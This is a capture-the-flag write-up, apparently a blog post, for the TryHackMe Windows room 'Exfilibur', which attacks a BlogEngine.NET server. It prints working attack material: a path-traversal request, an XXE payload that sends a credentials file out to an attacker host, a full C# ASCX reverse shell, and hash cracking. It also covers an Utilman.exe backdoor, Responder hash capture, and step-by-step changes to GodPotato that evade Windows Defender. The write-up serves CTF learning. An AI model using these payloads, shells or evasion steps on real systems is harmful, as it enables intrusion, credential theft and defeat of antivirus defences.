Skip to content

TryHackMe - Exfilibur

Introduction


OS: Windows

URL: Exfilibur

Level: Hard


The complexity of the room is mostly from the firewall rules and updated Windows Defender Definitions.

There are at least two known ways to root the box when this blog was released. I've tried cover both of them in this writeup.

A Hard rated room (previously rated Medium on release) running BlogEngine.NET on Windows.

- We Exploit a path traversal Vulnerability to get a idea of the file Structure.
- Exploit XXE to get guest user account credentials.
- Using the credentials in a draft post to get to Admin account.
- Upload a malicious ascx file to get a reverse shell.
- Bypass AV Detection
- Exploit SeImpersonatePrivilege using GodPotato to get SYSTEM shell.
- OR use SeTakeOwnershipPrivilege to change Administrator folder ownership and read root flag

Recon

First we start Off with a Nmap Scan to check for open ports and services running on the machine.

sudo nmap -sC -sV -oN namp/initial -v -Pn $IP

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0

| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
| Potentially risky methods: TRACE
|_http-title: 403 - Forbidden: Access is denied.
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=EXFILIBUR
| Issuer: commonName=EXFILIBUR
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-25T11:48:41
| Not valid after: 2024-08-26T11:48:41
| MD5: 0b04:878d:1455:17a4:8286:4232:42e8:7986
|_SHA-1: 82ea:7226:00d7:4a27:4952:96aa:51d6:6cb3:9ac8:b7cb
|_ssl-date: 2024-02-26T12:07:59+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: EXFILIBUR
| NetBIOS_Domain_Name: EXFILIBUR
| NetBIOS_Computer_Name: EXFILIBUR
| DNS_Domain_Name: EXFILIBUR
| DNS_Computer_Name: EXFILIBUR
| Product_Version: 10.0.17763
|
System_Time: 2024-02-26T12:07:55+00:00

nmap.png

Nmap Scan

Usually I would start running a scan for all ports -p- and also a UDP scan -sU to make sure there are aren't any other services listening on the machine.

You can also make the Nmap scan go faster by adding --min-rate 5000 to the command. Do note that increasing this might give you inaccurate results.


Web Server

Since the only port other than RDP is 80, we start off by checking the web server.

taking a look at the webpage, we see a 403 Forbidden error.

webpage.png

Let's run a Gobuster scan to check for any hidden directories.

gobuster.png

gobuster dir -u http://$IP -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.228.229
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/useful/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aspnet_client (Status: 301) [Size: 158] [--> http://10.10.228.229/aspnet_client/]
/. (Status: 403) [Size: 1233]
/blog (Status: 200) [Size: 22718]

Gobuster

I've used the raft-small-words-lowercase.txt wordlist from the SecLists repository as IIS on windows is not case sensitive so it significantly reduces the amount of directories to check.


User

BlogEngine.NET

Loading the webpage http://$IP/blog we see that the website is running BlogEngine.NET (version 3.3.7.0)

Info

blog_page.png


Path Traversal

Looking for known vulnerabilities we find a path traversal vulnerability in the /api/filemanager endpoint. ExploitDB

We can use this to get an idea of the file structure.

path_traversal.png

GET /blog/api/filemanager?path=/../../../ HTTP/1.1
Host: 10.10.228.229
User-Agent: Mozilla/5.0 
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Mon, 26 Feb 2024 18:48:35 GMT
Connection: close
Content-Length: 527

[
  {
    "IsChecked": false,
    "SortOrder": 0,
    "Created": "2/26/2024 6:48:35 PM",
    "Name": "...",
    "FileSize": "",
    "FileType": 0,
    "FullPath": "~/App_Data/files/../../..",
    "ImgPlaceholder": ""
  },
  {
    "IsChecked": false,                                                                                                                               
    "SortOrder": 1,                                                                                                                                   
    "Created": "8/9/2023 5:28:43 PM",                                                                                                                 
    "Name": "aspnet_client",                                                                                                                          
    "FileSize": "",                                                                                                                                   
    "FileType": 0,                                                                                                                                    
    "FullPath": "~/App_Data/files/../../../aspnet_client",                                                                                            
    "ImgPlaceholder": ""                                                                                                                              
  },                                                                                                                                                  
  {                                                                                                                                                   
    "IsChecked": false,                                                                                                                               
    "SortOrder": 2,                                                                                                                                   
    "Created": "8/9/2023 2:57:50 PM",                                                                                                                 
    "Name": "blog",                                                                                                                                   
    "FileSize": "",                                                                                                                                   
    "FileType": 0,                                                                                                                                    
    "FullPath": "~/App_Data/files/../../../blog",                                                                                                     
    "ImgPlaceholder": ""                                                                                                                              
  }                                                                                                                                                   
] 

Notes

Server Path
IIS Server Default path C:\inetpub\wwwroot
Blog Path C:\inetpub\wwwroot\blog
Blog Theme Path C:\inetpub\wwwroot\blog\Custom\Themes
Default file upload path C:\inetpub\wwwroot\blog\App_Data\files
Users.xml Path C:\inetpub\wwwroot\blog\App_data\users.xml

XXE

From BlogEngine.NET documentation we know that the /app_data/users.xml file contains the user credentials.

From enumerating the server using the path traversal vulnerability we know that the file is located at C:\inetpub\wwwroot\blog\App_data\users.xml

Now using a XXE vulnerability we can read the contents of the file.

Firewall

Just like the hint mentioned in the task description, the firewall blocks a lot of outbound traffic from the blog server. We had to add -Pn to our Nmap scan to disable host discovery as even Ping requests were being blocked.

Considering this let's take most common ports accessed on a Windows Machine. I tried 80, 443 for HTTP and HTTPS, 53 for DNS, 139, 445 for SMB and a few more. Out of these only 139,445 and 53 were found to be not blocked in my testing.

Port testing

You can setup a python server on each port and use the XXE payload itself to check if the port is open. if you get a connection back, then the firewall is not blocking the port.

This exploit-db payload seems to be the best fit for our use case.

(there is also another endpoint /blog/metaweblog.axd which is also vulnerable to XXE but won't be covered in this writeup.)

XXE Request

┌──(kali㉿kali)-[~/THM/exfilibur]sudo python xml.py -r http://$IP/blog -l 10.18.18.25 -p 53 -o test -f 'C:/inetpub/wwwroot/blog/app_data/users.xml' -x
test

Requesting C:/inetpub/wwwroot/blog/app_data/users.xml ...
10.10.228.229 - - [26/Feb/2024 14:18:09] "GET /X?...SNIP... HTTP/1.1" 200 -
10.10.228.229 - - [26/Feb/2024 14:18:13] "GET /ex.dtd HTTP/1.1" 200 -
10.10.228.229 - - [26/Feb/2024 14:18:13] "GET /X?%3CUs...SNIP... HTTP/1.1" 200 -

┌──(kali㉿kali)-[~/THM/exfilibur]
cat test/C_inetpub_wwwroot_blog_app_data_users.xml <Users>
<User>
<UserName>Admin</UserName>
<Password>wobS/AvKFPT5qP9FgQyh7C+kc+k+1rBzbOf7Oxfptw0=</Password>
<Email>[email protected]</Email>
<LastLoginTime>2007-12-05 20:46:40</LastLoginTime>
</User>
<!--
<User>
<UserName>merlin</UserName>
<Password></Password>
<Email>[email protected]</Email>
<LastLoginTime>2023-08-11 10:58:51</LastLoginTime>
</User>
-->
<User>
<UserName>guest</UserName>
<Password>hJg8YPfarcHLhphiH4AsDZ+aPDwpXIEHSPsEgRXBhuw=</Password>
<Email>[email protected]</Email>
<LastLoginTime>2023-08-12 08:47:51</LastLoginTime>
</User>
</Users>

POST /blog/pingback.axd HTTP/1.1
Host: 10.10.228.229
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 130

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://10.18.18.25:53/ex.dtd">
<foo>&e1;</foo>
<methodName>pingback.ping</methodName>
<!ENTITY % p1 SYSTEM "file:///file/path/to/fetch">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://10.18.18.25:53/X?%p1;'>"> %p2;

Note

Another reminder to take a look at the port you're using for the lhost if your payload did not connect back then it's likely you're using a blocked port


Cracking the Password

We have two users with the hashed password

  • Admin:wobS/AvKFPT5qP9FgQyh7C+REDACTED
  • guest:hJg8YPfarcHLhphiH4REDACTED

Let's try to crack the password.

First we need know the hashing algorithm used. Since the source code for BlogEngine.NET is available on GitHub

HashPassword Method is defined here

Utils.cs
/// <summary>
/// Encrypts a string using the SHA256 algorithm.
/// </summary>
/// <param name="plainMessage">
/// The plain Message.
/// </param>
/// <returns>
/// The hash password.
/// </returns>
public static string HashPassword(string plainMessage)
{
    var data = Encoding.UTF8.GetBytes(plainMessage);
    using (HashAlgorithm sha = new SHA256Managed())
    {
        sha.TransformFinalBlock(data, 0, data.Length);
        return Convert.ToBase64String(sha.Hash);
    }
}

So to reverse this

string -> base64 decode -> xxd --> hashcat -m 1400 (sha256)

┌──(kali㉿kali)-[~/THM/exfilibur]echo "hJg8YPfarcHLhphiH4AsDZ+aPDwpXIEHSPsEgRXBhuw=" | base64 -d | xxd -p -c 3284983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec

┌──(kali㉿kali)-[~/THM/exfilibur]
echo "wobS/AvKFPT5qP9FgQyh7C+kc+k+1rBzbOf7Oxfptw0=" | base64 -d | xxd -p -c 32c286d2fc0bca14f4f9a8ff45810ca1ec2fa473e93ed6b0736ce7fb3b17e9b70d

Let's add this to a hash.txt file and use hashcat to crack the password.

┌──(kali㉿kali)-[~/THM/exfilibur]cat hash.txt84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec
c286d2fc0bca14f4f9a8ff45810ca1ec2fa473e93ed6b0736ce7fb3b17e9b70d

┌──(kali㉿kali)-[~/THM/exfilibur]
hashcat -m 1400 hash.txt /usr/share/wordlist/rockyou.txt...SNIP...

┌──(kali㉿kali)-[~/THM/exfilibur]
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt --show84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec:REDACTED

So we were only able to crack the hash for the guest user and the password also turns out to be REDACTED.


Guest Account

Using the credentials we can login to the blog and see a draft post.

admin_homepage.png

draft_post.png

The Draft post leaks a Credential for the Admin account.

Username: admin
Password: **REDACTED**
As our journey through Arthurian lore unfolds, an unexpected revelation comes to light—one that connects the medieval mystique with contemporary cybersecurity practices. 
It is revealed that the very guardian of Camelot's secrets, King Arthur himself, employed a singular key to access the realm's digital 
domain—an administrator's account safeguarded by the password: "**REDACTED**".
This password was not supposed to be reused.

It also hints us about this password potentially being reused.


RCE

We can either login to the Admin account now or just keep on using the guest account as user guest is also allowed to upload files.

I've used the reverse shell payload from this exploit.

Payload Code
PostView.ascx
<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
        static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

        using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("YOURIPHERE", 139)) {
                using(System.IO.Stream stream = client.GetStream()) {
                        using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                                streamWriter = new System.IO.StreamWriter(stream);

                                StringBuilder strInput = new StringBuilder();

                                System.Diagnostics.Process p = new System.Diagnostics.Process();
                                p.StartInfo.FileName = "cmd.exe";
                                p.StartInfo.CreateNoWindow = true;
                                p.StartInfo.UseShellExecute = false;
                                p.StartInfo.RedirectStandardOutput = true;
                                p.StartInfo.RedirectStandardInput = true;
                                p.StartInfo.RedirectStandardError = true;
                                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                                p.Start();
                                p.BeginOutputReadLine();

                                while(true) {
                                        strInput.Append(rdr.ReadLine());
                                        p.StandardInput.WriteLine(strInput);
                                        strInput.Remove(0, strInput.Length);
                                }
                        }
                }
        }
    }
    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data)) {
                try {
                        strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

Side Tangent: Why does the Exploit python code from exploit-db code not work as is?

By default the exploit code tries to write to the Themes folder. But after much struggeling I found that the Themes folder is not writable by the user that's running the web server. So even though your intercepted response to the /api/upload endpoint may say upload was successful, the file is not actually written to the disk.


Since the exploit code doesn't work by default we need a way to upload the PostView.ascx file to the server.

If you open the draft page from the blog that contained the password. You'll notice a icon to open the file manager.

Once you click on you you get a option to upload files. Let's upload the PostView.ascx file there.

file_manager_1.png

file_upload.png

This uploads the PostView.ascx file to the C:\inetpub\wwwroot\blog\App_Data\files directory.

Now we can force the website to load the PostView.ascx file by setting our theme path to relative path of the App_Data/files folder using the theme=../../App_Data/files/ cookie.

listener

Don't forget to start a listener on the port you specified in the PostView.ascx file. ex: nc -lvnp 139 In this case.

curl --cookie "theme=../../App_Data/files/" http://$IP/blog/

GET /blog/ HTTP/1.1
Host: 10.10.228.229
User-Agent: python-requests/2.31.0
cookie: theme=../../App_Data/files/
Accept: */*
Connection: close

And we have a shell

shell.png

┌──(kali㉿kali)-[~/THM/exfilibur]sudo nc -lnvp 139listening on [any] 139 ...
connect to [10.18.18.25] from (UNKNOWN) [10.10.228.229] 49797
Microsoft Windows [Version 10.0.17763.4737]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>
whoamic:\windows\system32\inetsrv>whoami
exfilibur\merlin

Stabilizing the shell

You can use whatever you like to stabilize the shell. I'll be using reverse_ssh my goto tool for reverse shells.

I won't be covering it's details here as it's not relevant to the room. But I'll make a separate blog post for it later.


Privilege Escalation

Method 1

kingarthy

Remembering that the draft post mentioned that the password was not supposed to be reused, we can try to use the password for other users on the machine.

net user
User accounts for \\EXFILIBUR

-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
kingarthy merlin WDAGUtilityAccount
The command completed successfully.

We can see that there is a user kingarthy on the machine.

Let's Try to switch to this user using the password we found.

we'll be using the RunasCs.exe tool from here to run commands as a different user.

Note RDP is enabled

You can also use RDP to login to the machine as the user kingarthy using the password we found. And skip this entire section. But just make sure to open your CMD/powershell as Administrator to get all the privileges.

FORMAT RunasCs.exe username password "cmd /c whoami"

.\RunasCs.exe kingarthy REDACTED "cmd /c whoami"[] Warning: Logon for user 'kingarthy' is limited. Use the --logon-type value '8' to obtain a more privileged token
[
] Warning: LoadUserProfile failed due to insufficient permissions

exfilibur\kingarthy

.\RunasCs.exe kingarthy REDACTED "cmd /c whoami /priv"[] Warning: Logon for user 'kingarthy' is limited. Use the --logon-type value '8' to obtain a more privileged token
[
] Warning: LoadUserProfile failed due to insufficient permissions


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

.\RunasCs.exe kingarthy REDACTED "cmd /c whoami" --bypass-uac -f 2
exfilibur\kingarthy

.\RunasCs.exe kingarthy REDACTED "cmd /c whoami /priv" --bypass-uac -f 2

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ======================================== =======
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeRestorePrivilege Restore files and directories Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

As you can see running without --bypass-uac you'll miss a lot of privileges. (same for a CMD/PS non admin prompt in RDP)

SeTakeOwnershipPrivilege

since we have SeTakeOwnershipPrivilege we can take ownership of the C:\Users\Administrator folder and read the root flag.

or better yet replace C:\Windows\System32\Utilman.exe with cmd.exe with to trigger a Admin shell in the RDP login screen.


Utilman.exe

takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant kingarthy:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "EXFILIBUR\kingarthy".
icacls C:\Windows\System32\Utilman.exe /grant kingarthy:Fprocessed file: C:\Windows\System32\Utilman.exe
Successfully processed 1 files; Failed processing 0 files
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

Now we can use xfreerdp Login and then get to the lock screen and click on the Ease of Access button to get a Admin shell.

xfreerdp /v:$IP /u:kingarthy /p:REDACTED

Lock screen

To get to the lock screen you can either press Windows + L key

or

Open a command prompt and enter rundll32.exe user32.dll,LockWorkStation


SeImpersonatePrivilege

Method 2

The webserver is running under merlin user. From RCE we already have a Shell as merlin.

If we take a look at the privileges of the merlin user we can see that SeImpersonatePrivilege is enabled.

whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

We can make use of one of the newer potato exploits named GodPotato to get a SYSTEM shell.

JuicyPotato

We cannot use JuicyPotato as the server is running Windows Server 2019 which isn't vulnerable to the exploit.

We can download the GodPotato prebuild binary from here

.\GodPotato-NET4.exeProgram 'GodPotato-NET4.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted
softwareAt line:1 char:1
+ .\GodPotato-NET4.exe
+ ~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\GodPotato-NET4.exe
+ ~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed


But since the defender definitions are updated we can't run the GodPotato binary as it's detected as a virus.


Bypassing AV Detection

For this I used a Windows VM + Visual Studio to compile the GodPotato binary from source.

You can download the source for GodPotato from here

Since the AV is probably doing a static analysis of the binary, we can try to change the binary to bypass the detection.

  • Change any unique strings in the binary
  • change compile type to prefer smaller size (stripping out debug info, symbols, etc)
  • Many of the rules target the help usage strings, so you can change those
  • rename any references to GodPotato in the source code replacing it with something else. (Make sure it's case-sensitive as GodPotato and godPotato are different variables)

While doing all the above steps I kept checking strings to see if the binary still had any unique strings.

┌──(kali㉿kali)-[~/THM/exfilibur]strings GodPotato-NET4.exe | less<..SNIP..>
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
WrapNonExceptionThrows
GodPotato
Copyright
2022
$2ae886c3-3272-40be-8d3c-ebaede9e61e1
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
Inherited
AllowMultiple
cmd /c whoami

<..SNIP..>

┌──(kali㉿kali)-[~/THM/exfilibur]strings gp.exe | less<..SNIP..>
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
WrapNonExceptionThrows
PleaseSub
Copyright
2022
$9ED54F84-A89D-4fcd-A854-44251E925F09
1.0.0.0
.NETFramework,Version=v4.7.2
FrameworkDisplayName
.NET Framework 4.7.2
Inherited
AllowMultiple
cmd /c whoami
Description
<..SNIP..>

Steps taken:

  • replaced GodPotato with PleaseSub,
  • godPotato with pleaseSub
  • changed the program name to gp.exe
  • changed the Assembly Guid to the one from Microsoft's documentation
  • Replaced the ASCII art for GodPotato with random strings

Even after all this the binary was still detected by the AV.

16-bit encoding

I had forgotten to check for 16-bit encoded strings in the binary.

strings -e l executable.exe | less will show you the 16-bit encoded strings in the binary.

16_bit_strings_before.png

16_bit_strings_after.png

But everything was in vain as the binary was still detected by the AV.

Digging through I narrowed it to this line

GodPotatoContext.cs
private static readonly Guid orcbRPCGuid = new Guid("18f70770-8e64-11cf-9af1-0020af6e72f4");

But we cannot just remove or replace this as it is critical for its functionality to later load combase.dll

So easiest method to patch it is to base64 encode and then decode it at runtime.

GodPotatoContext.cs
<...SNIP...>
namespace PleaseSub.NativeAPI
{
    public class PleaseSubContext
    {
        private static readonly Guid orcbRPCGuid = new Guid(Encoding.UTF8.GetString(Convert.FromBase64String("MThmNzA3NzAtOGU2NC0xMWNmLTlhZjEtMDAyMGFmNmU3MmY0")));
        public IntPtr CombaseModule { get; private set; }
        public IntPtr DispatchTablePtr { get; private set; }
        public IntPtr UseProtseqFunctionPtr { get; private set; } = IntPtr.Zero;
        public uint UseProtseqFunctionParamCount { get; private set; } = 0xffffff;
<...SNIP...>
GodPotatoContext.cs
<...SNIP...>
namespace GodPotato.NativeAPI
{
    public class GodPotatoContext
    {
        private static readonly Guid orcbRPCGuid = new Guid("18f70770-8e64-11cf-9af1-0020af6e72f4");
        public IntPtr CombaseModule { get; private set; }
        public IntPtr DispatchTablePtr { get; private set; }
        public IntPtr UseProtseqFunctionPtr { get; private set; } = IntPtr.Zero;
        public uint UseProtseqFunctionParamCount { get; private set; } = 0xffffff;
<...SNIP...>

Compile this binary, and it's no longer detected by Windows Defender.

godpotato_nt_authority_system.png

Bypassing AV with IppSec

If you need a good video guide for this checkout this video form IppSec.

Even though it's for JuicyPotato many of the steps are still applicable.

Here's another one from IppSec I've haven't watched this one yet but I'm sure it'll be of some help.


Extras

Leaking merlin Hash using XXE

We can also use the XXE vulnerability to leak the merlin user's hash by making the XXE payload connect to a SMB share.

First We need to setup responder to capture the hash.

sudo responder -I tun0

responder_merlin_hash.png

┌──(kali㉿kali)-[~/THM/exfilibur]sudo responder -I tun0 -v
NBT-NS, LLMNR & MDNS Responder 3.1.3.0

<...SNIP...>

[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.18.18.25]
Responder IPv6 [fe80::d5df:7d5d:1bc1:85d0]
Challenge set [random]
Don't Respond To Names ['ISATAP']

[+] Current Session Variables:
Responder Machine Name [WIN-6SXWTNQZ2LM]
Responder Domain Name [0JEV.LOCAL]
Responder DCE-RPC Port [49737]

[+] Listening for events...

[SMB] NTLMv2-SSP Client : 10.10.194.240
[SMB] NTLMv2-SSP Username : EXFILIBUR\merlin
[SMB] NTLMv2-SSP Hash : merlin::EXFILIBUR:fd237f648899efdf:13E6C32CA5E6C22E034B242211628094:0101000000000000003EDEF97669DA0181A60CB027F50DC2000000000200080030004A004500560001001E00570049004E002D00360053005800570054004E0051005A0032004C004D0004003400570049004E002D00360053005800570054004E0051005A0032004C004D002E0030004A00450056002E004C004F00430041004C000300140030004A00450056002E004C004F00430041004C000500140030004A00450056002E004C004F00430041004C0007000800003EDEF97669DA0106000400020000000800300030000000000000000000000000300000666FD92D1E0C7AA9CF7E8F7CCB1AE9F622025D7D1B9B221A14621EE5FE7A9BBB0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310038002E00310038002E00320035000000000000000000

POST /blog/pingback.axd HTTP/1.1
Host: 10.10.194.240
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 132

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "file://///10.18.18.25/dir/file">
<foo>&e1;</foo>
<methodName>pingback.ping</methodName>

But this hash is not crackable, --lm downgrade attack isn't possible either as NTLMv1 is disabled on the server.